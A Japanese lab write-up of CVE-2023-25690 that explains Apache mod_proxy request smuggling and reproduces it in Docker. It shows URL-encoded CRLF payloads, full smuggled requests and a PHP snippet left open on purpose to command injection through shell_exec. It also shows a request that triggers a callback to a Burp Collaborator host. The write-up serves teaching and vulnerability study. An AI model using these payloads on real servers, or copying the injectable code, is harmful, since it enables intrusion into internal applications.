公開日: 2023年3月7日
| Base score | Confidentiality | Integrity impact | Availability impact |
|---|---|---|---|
| 9.8 | High | High | High |
Apache HTTP Server バージョン 2.4.0 から 2.4.55 における一部の mod_proxy 設定 は、HTTP リクエストスマグリング攻撃を許容します。mod_proxy が有効で、かつ RewriteRule または ProxyPassMatch の形式が、ユーザーが提供したリクエストターゲット（URL）データの一部を非特定のパターンでマッチし、その後 変数置換 を使用してプロキシされたリクエストターゲットに再挿入する場合に影響を受けます。例えば、次のような設定です：
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
リクエスト分割/スマグリングは、プロキシサーバーでのアクセス制御のバイパス、意図しないURLの既存のオリジンサーバーへのプロキシ、キャッシュポイズニングを引き起こす可能性があります。ユーザーはApache HTTP Serverを少なくともバージョン2.4.56に更新することを推奨します。
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Apacheの設定に RewriteEngine on を含めると、URL書き換えエンジンが有効になります。URL書き換えは、Webサーバーがクライアントのブラウザから要求されたURLを、コンテンツを提供する前に動的に別のURLに変更できるようにする技術です。
例えば、オンラインショップに次のようなURL構造があるとします：
https://example-shop.com/categories/1
Apache設定ファイルに次のような RewriteRule ディレクティブがあると仮定します：
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
ユーザーが URL https://example-shop.com/categories/1 を要求すると、RewriteRule は URL にマッチし、正規表現 ^/categories/(.*) を使用して値 1 をキャプチャします。次に、ルールはキャプチャした値を書き換えられたURLにクエリパラメータ id として追加することで、URL を http://example-shop.com:8080/categories?id=1 に書き換えます。
ルールに [P] フラグが存在するため、Apache は書き換えられたURLをプロキシリクエストとして扱い、クエリパラメータ id を 1 に設定してターゲットサーバー http://example-shop.com:8080/categories に転送します。ターゲットサーバーはリクエストを処理し、レスポンスを Apache に返し、Apache はそれをクライアントに転送します。
要約すると、[P] フラグ付きの RewriteRule ディレクティブは、URL を書き換えて別のサーバーにプロキシするために使用されます。この場合、ルールは /categories/ で始まる URL にマッチし、キャプチャした値をクエリパラメータ id として書き換えられた URL に追加します。その後、Apache はリクエストをターゲットサーバーに転送し、ターゲットサーバーがリクエストを処理してレスポンスを返します。
最後に、ProxyPassReverse /categories/ http://example-shop.com:8080/ についてですが、この行はバックエンドサーバーのドメインとパスをプロキシサーバーのドメインとパスに置き換えることで、クライアントがリンクを正しく辿り、プロキシサーバーから直接提供されているかのようにプロキシされたバックエンドサーバーのコンテンツにアクセスできるようにします。
Apache の脆弱性をシミュレートするために、httpd バージョン 2.4.55 を使用します。さらに、ラボ全体を Docker 化することで、セットアップ、設定、再現性を向上させます。
ラボのファイル構造は次の通りです：
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
最終的な httpd.conf の設定は以下の通りです：
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
ラボを起動するには、docker-compose.exe up --build コマンドを使用します。
このセクションでは、CRLF インジェクションがどのように内部 HTTP リクエストスマグリングを引き起こし、攻撃者が通常はアクセスできない内部リソースへの不正アクセスを可能にするかを説明します。
勧告の説明によると、httpd <=2.4.55 は HTTP レスポンス分割（CRLF インジェクションとしても知られる）に対して脆弱です。
CRLF インジェクションは以下の場合に発生します：
これは、以下の CRLF プレフィックスを URL に渡すことで確認できます：
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
上記のプレフィックスを URL に追加すると、最終的なリクエストは次のようになります：
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
リクエストに続いて、サーバーはデータを処理し、CRLF インジェクションに対する脆弱性を示す 200 レスポンスコードを返します。
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
HTTP リクエスト分割に関する詳細はこちらをご覧ください、https://owasp.org/www-community/attacks/HTTP_Response_Splitting
ヘッダーインジェクションを使用して、内部 HTTP リクエストスマグリングを実行します。
以下のプレフィックスから始めましょう：
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
および以下のリクエスト
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
書き換えルールを適用すると、リクエストは次の形式に変換されます：
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
ここで、エンコードされた URL が有効な HTTP 構文にデコードされ、バックエンドがデコードされたデータを2番目のリクエストとして扱うようになります。
内部アプリケーションに次のようなシークレットコードがあると仮定します：
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
以下のプレフィックスを使用すると、隠された機能に2番目のリクエストを送信できます：
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
そして Burp Collaborator でリクエストを取得します：
パッチ:
この脆弱性の影響は、攻撃者がリバースプロキシによって隠蔽されるべき内部アプリケーションを標的にしてアクセスできるようになり、不正アクセス、データ漏洩、またはさらなる悪用につながる可能性があることです。